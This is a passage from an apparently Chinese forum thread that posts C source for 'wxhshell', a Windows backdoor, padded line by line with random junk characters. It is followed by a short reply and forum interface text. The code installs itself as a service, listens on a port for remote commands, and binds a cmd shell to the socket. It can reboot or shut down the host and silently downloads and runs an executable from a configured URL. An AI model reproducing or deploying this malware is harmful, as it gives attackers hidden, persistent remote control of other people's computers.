  // 下载文件 fmA&1u/xMs  
  if(strstr(cmd,"http://")) { R?>a UFM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u|WX?@\  
  if(DownloadFile(cmd,wsh)) +fAAkO*GP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~VUNN[  
  else \"_;rJ{!aE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '7wI 2D  
  } Q2^}NQO=  
  else { 68Wm=j.m  
Zj~tUCc  
    switch(cmd[0]) { 1 < <`T%&  
  20 zIO.&o  
  // 帮助 2*Z~J M  
  case '?': { /.$n>:XR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 05DK-Wh?  
    break; %I(N  
  } =:6Y<ftC  
  // 安装 Puily9#  
  case 'i': { 6peO9]Zy  
    if(Install()) 5^GUuFt5m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z:RwCd1\  
    else 2y ~]Uo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rA8neO)  
    break; ~Rk6@&ZS}  
    } K ^A\S  
  // 卸载 h k(2,z  
  case 'r': { @ L%3}  
    if(Uninstall()) uzho>p[ae  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3,oFT   
    else q^( [ & +  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S<88>|&n]  
    break; D gY2:&0  
    } *@cXBav/<  
  // 显示 wxhshell 所在路径 K$ #(\-M  
  case 'p': { e]uk}#4  
    char svExeFile[MAX_PATH]; o8 q@rwu3  
    strcpy(svExeFile,"\n\r"); G0CmY43  
      strcat(svExeFile,ExeFile); 46Nl];g1`  
        send(wsh,svExeFile,strlen(svExeFile),0); WkXa%OZ  
    break; `-]*Qb+  
    } opte)=]J  
  // 重启 iW-w?!>|m  
  case 'b': { 'Xxt[Jy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `cy_@Z5A  
    if(Boot(REBOOT)) MHI0>QsI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SD8Q_[rY  
    else { EXS 1.3>  
    closesocket(wsh); BtVuI5*h  
    ExitThread(0); IObGmc  
    } zK k;&y|{  
    break; db@i*Bf  
    } 8nt:peJ$+  
  // 关机 DFVaZN?~  
  case 'd': { $;@^coz9U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "sUL"i  
    if(Boot(SHUTDOWN)) -PB m@}*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TW{.qed8^  
    else { ~>k<I:BtrT  
    closesocket(wsh); &h`s:Y  
    ExitThread(0); c,!Ijn\;(  
    }  zy  
    break; s34{\/'D+  
    } CS:j->  
  // 获取shell x: `oqbd  
  case 's': { 9=ns.r  
    CmdShell(wsh); C6M|A3^T  
    closesocket(wsh); g.SFl  
    ExitThread(0); (6^v`SZ  
    break; Owo2DsT t  
  } Q\<C9%a  
  // 退出 k_ UY^vz.  
  case 'x': { *_!nil3(i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A'c0zWV2  
    CloseIt(wsh); Kxn/@@z>u  
    break; brl(7_ 2  
    } q}*(rR9/Br  
  // 离开 7!]$XGz[  
  case 'q': { P5P:_hr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K;k_MA310  
    closesocket(wsh); \5_+6  
    WSACleanup(); #@w8wCj  
    exit(1); 3yszf Wr  
    break; "4<RMYQ  
        } g1@zk $  
  } /a [i:Oa#  
  } 4`I2tr  
s+#gH@c  
  // 提示信息 Xx~OZ^t&Vn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n!2"pRIi  
} yS[:C 2v  
  } B: \\aOEj  
xdFm-_\-  
  return; s )POtJ<  
} Ynl^Z  
^ |z|kc  
// shell模块句柄 EcxPbRg  
int CmdShell(SOCKET sock) ` .|JTm[  
{ j1Fy'os"!  
STARTUPINFO si; r{!]` '8  
ZeroMemory(&si,sizeof(si)); ]JVs/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )a AKO`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8UJK]_99I,  
PROCESS_INFORMATION ProcessInfo; 12`q9Io"  
char cmdline[]="cmd"; i,r O3J n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .vE=527g)  
  return 0; V7[6jW gH  
} {Fs}8\z  
2&MIt(\-  
// 自身启动模式 x$Y44v'>  
int StartFromService(void) $N'AZY]4]  
{ jfP2n5X83  
typedef struct O-J;iX}  
{ HY0q!.qog  
  DWORD ExitStatus; |5oK04<  
  DWORD PebBaseAddress; x' >Nz{B,P  
  DWORD AffinityMask; @}eEV[Lli  
  DWORD BasePriority; 6i|5`ZO  
  ULONG UniqueProcessId; {; #u~e(W  
  ULONG InheritedFromUniqueProcessId; a8ya5EO  
}   PROCESS_BASIC_INFORMATION; Q97F5ru6  
;\ ^'}S|3Z  
PROCNTQSIP NtQueryInformationProcess; Rah"La  
$0$'co"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2l]*><q|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K2$ fKju  
,cZhkXd  
  HANDLE             hProcess; O'm><a>8  
  PROCESS_BASIC_INFORMATION pbi; q.0Evr:  
cq lA"Eof  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M8dv y!D  
  if(NULL == hInst ) return 0; 5.m&93P  
x93h{K f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [Jv0^"]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w0qrh\3du  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E Q 'L"  
Y-!~x0-H  
  if (!NtQueryInformationProcess) return 0; 7k,pUC-w7c  
aF*KY<w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \ #<.&`8B  
  if(!hProcess) return 0; i7$4i|  
W>f q 9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^*s DJ #  
z=mH\!  
  CloseHandle(hProcess); 21NGsG  
< z':_,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SnIH6k0T_  
if(hProcess==NULL) return 0; ],`xd_=]=  
e&~vO| 3w%  
HMODULE hMod; ?,s]5   
char procName[255]; pH&*5=t}  
unsigned long cbNeeded; w O H{L  
(LiS9|J!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9mE6Cp.Wv  
D5Zgi!  
  CloseHandle(hProcess); k;5$]^x  
#(@!:f1  
if(strstr(procName,"services")) return 1; // 以服务启动 "PgVvm#w'  
l5h+:^#M5c  
  return 0; // 注册表启动 Xir ERc.e  
} 9S 'u 1%  
/q| r!+  
// 主模块 1Vf?Rw  
int StartWxhshell(LPSTR lpCmdLine) /80H.|8O  
{ m(>MP/  
  SOCKET wsl; $4>(}  
BOOL val=TRUE; 1O#]qZS}]  
  int port=0; SjosbdD  
  struct sockaddr_in door; vCvjb\S  
S?b^g'5m  
  if(wscfg.ws_autoins) Install(); I+oe{#:.  
oX=dJJ E  
port=atoi(lpCmdLine); n[S-bzU^t  
6jw9p+.  
if(port<=0) port=wscfg.ws_port; |>^5G@e  
&9Y ^/W  
  WSADATA data; n?KhBJx 4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J#.f%VJ  
m+UWvUB)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Yg /g9$'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); # &,W x  
  door.sin_family = AF_INET; A<h^.{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vc[aNpE  
  door.sin_port = htons(port); U g:  
SFu]*II;{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !dQmg'_V  
closesocket(wsl); L< XAvg  
return 1; /^]/ iTg  
} _:N=  
#fYRsVQ  
  if(listen(wsl,2) == INVALID_SOCKET) { eA{ nwtN  
closesocket(wsl); mjQZ"h0  
return 1; ) $`}~  
} z*a-=w0  
  Wxhshell(wsl); vp32}ze D  
  WSACleanup();  /!#A'#Z  
Ypx5:gm|J  
return 0; T_)g/,5>  
3F?7oMNIh  
} YdZ9##IU3  
 )[S#:PP  
// 以NT服务方式启动 tk)J E^'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KuRJo]  
{ ,i jB3J  
DWORD   status = 0; &SG5 f[  
  DWORD   specificError = 0xfffffff; 4U8N7  
eRqPZb"6MR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pCf9"LLer  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o)bKs>` U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jY2mn".N  
  serviceStatus.dwWin32ExitCode     = 0; `h|Y0x  
  serviceStatus.dwServiceSpecificExitCode = 0; cR{F|0X  
  serviceStatus.dwCheckPoint       = 0; V3% >TNp  
  serviceStatus.dwWaitHint       = 0; CnpQdI  
{wDq*va  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X"jL  
  if (hServiceStatusHandle==0) return; *rgF[ :  
_l"=#i@L  
status = GetLastError(); <NEz{1Z  
  if (status!=NO_ERROR) VFrp7;z43  
{ /-knqv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4@+']vN4  
    serviceStatus.dwCheckPoint       = 0; zcC:b4  
    serviceStatus.dwWaitHint       = 0; x5Ue"RMl+  
    serviceStatus.dwWin32ExitCode     = status; uHsLlfTn  
    serviceStatus.dwServiceSpecificExitCode = specificError; X }`o9]y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NEUr w/  
    return; ]v/pMg#-  
  } b^STegz  
U(PW$\l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  y!dw{Lz  
  serviceStatus.dwCheckPoint       = 0; v, CWE  
  serviceStatus.dwWaitHint       = 0; c1q;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d A'0'M  
} (q0vql  
E/hT/BOPK  
// 处理NT服务事件,比如:启动、停止 %Z+**>1J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T, +=ka$  
{ ,1g_{dMx  
switch(fdwControl) >=d 5Scix  
{ F [Lg,}  
case SERVICE_CONTROL_STOP: I94-#*~I  
  serviceStatus.dwWin32ExitCode = 0; UlWm). b;v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HOx+umjxW  
  serviceStatus.dwCheckPoint   = 0; Qqi?DW1)-  
  serviceStatus.dwWaitHint     = 0; 2cO6'?b  
  { bSz@@s.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NiFe#SLA  
  } +J85Re `  
  return; 0~EGrEt  
case SERVICE_CONTROL_PAUSE: LzJ`@0RrX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #1C]ZV] B  
  break; c^O&A\+;  
case SERVICE_CONTROL_CONTINUE: >S-JAPuO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y]=k"]:%  
  break; aM xd"cTzx  
case SERVICE_CONTROL_INTERROGATE: hj&~Dn(  
  break; gkX7,J-0  
}; tUuARo7#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pH2/." zE<  
} C0K: ffv;<  
@}19:A<'  
// 标准应用程序主函数 *Ojl@N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &S`g&  
{ FrUqfTi+W  
"G-h8IN^O  
// 获取操作系统版本 0WfnX>(C7R  
OsIsNt=GetOsVer(); E]8uj8K3]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xmEom  
eX>*}pI  
  // 从命令行安装 SSxz1y  
  if(strpbrk(lpCmdLine,"iI")) Install(); $.t>* Bq  
Q-!gO  
  // 下载执行文件 +zd/<  
if(wscfg.ws_downexe) { YF-A8gXS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0{uaSR  
  WinExec(wscfg.ws_filenam,SW_HIDE); )#8g<]q  
} !yVY[  
5~/EAK`  
if(!OsIsNt) { )[cuYH>  
// 如果时win9x,隐藏进程并且设置为注册表启动 rQ_]%ies8  
HideProc(); x;sc?5_`  
StartWxhshell(lpCmdLine); zfE8=d8U  
} j#2E Q  
else 9gdK&/ulR  
  if(StartFromService()) _yUYEq<`  
  // 以服务方式启动 s*_fRf:  
  StartServiceCtrlDispatcher(DispatchTable); UPP"-`t  
else Q xA( *1  
  // 普通方式启动 (hdu+^Qj=  
  StartWxhshell(lpCmdLine); ~b m'i%$k  
oPF]]Imu  
return 0; 7i{(,:  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八